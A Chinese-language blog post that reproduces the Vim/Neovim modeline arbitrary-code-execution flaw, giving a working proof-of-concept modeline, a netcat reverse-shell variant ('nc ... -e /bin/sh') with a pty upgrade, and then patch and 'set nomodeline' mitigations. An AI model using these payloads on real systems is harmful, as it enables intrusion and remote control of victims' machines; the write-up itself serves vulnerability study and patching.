Vim通过Modelines执行任意代码

  • 2019 年 11 月 20 日
  • 筆記

漏洞概要:

在8.1.1365之前的Vim和在0.3.6之前的Neovim很容易通过打开特制的文本文件而通过模型执行任意代码。

复现条件:

确保未禁用modeline选项(:set modeline)。

开启该选项:

# cd /usr/share/vim

# vim vimrc

写入-> :set modeline

复现过程:

1.创建poc.txt

命令#vim poc.txt

:!uname-a||" vi:fen:fdm=expr:fde=assert_fails("source!\%"):fdl=0:fdt="

2.用vim打开poc.txt

可以看到vim在打开poc.txt的时候执行了uname -a命令

进阶:

创建反弹shell

1.监听反弹端口

#nc –lvp 9999

2.创建shell.txt

参考链接: https://github.com/numirias/security

这里我直接克隆它的项目

#git clone https://github.com/numirias/security

#vim shell.txt

打开后反弹shell

可以执行命令,但是不知道为什么第二次打开就不可以了……

优化shell: python -c "importpty;pty.spawn('/bin/bash')"

更换思路:

把uname –a 更换为 Nohup nc 127.0.0.1 9999 –e /bin/sh

这样也成功反弹shell了,不过这个shell是脆弱的

修复建议:

一:打补丁

Vim补丁8.1.1365

https://github.com/vim/vim/commit/5357552

Neovim补丁(在v0.3.6中发布)

https://github.com/neovim/neovim/pull/10082

https://github.com/neovim/neovim/releases/tag/v0.3.6

二:在vimrc(set nomodeline)中禁用model,使用securemodelines 插件

作者:sheepherder

(文章转载请注明来自:IT同路人论坛)